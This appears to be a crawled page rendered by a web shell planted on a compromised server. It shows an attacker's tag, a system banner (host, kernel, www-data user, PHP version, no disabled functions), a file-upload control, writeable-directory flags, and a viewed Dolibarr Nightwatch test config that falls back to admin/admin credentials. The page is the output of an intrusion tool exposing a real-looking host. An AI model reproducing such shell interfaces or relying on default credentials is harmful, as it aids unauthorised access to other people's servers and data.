Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/nightwatch.conf.js
const admin_username = process.env.ADMIN_USERNAME || 'admin';
const admin_password = process.env.ADMIN_PASSWORD || 'admin';
const launch_url = process.env.LAUNCH_URL || 'http://localhost/dolibarr/htdocs/';
module.exports = {
	page_objects_path : './test/acceptance/pageObjects/', // jshint ignore:line
	src_folders : ['test'],

	test_settings : {
		default : {
			selenium_host : '127.0.0.1',
			launchUrl : launch_url,
			globals : {
				backend_url : launch_url,
				adminUsername : admin_username,
				adminPassword : admin_password
			},
			desiredCapabilities : {
				browserName : 'chrome',
				javascriptEnabled : true,
				chromeOptions : {
					args : ['disable-gpu', 'window-size=1280,1024'],
					w3c : false
				}
			}
		}
	}
};

Hry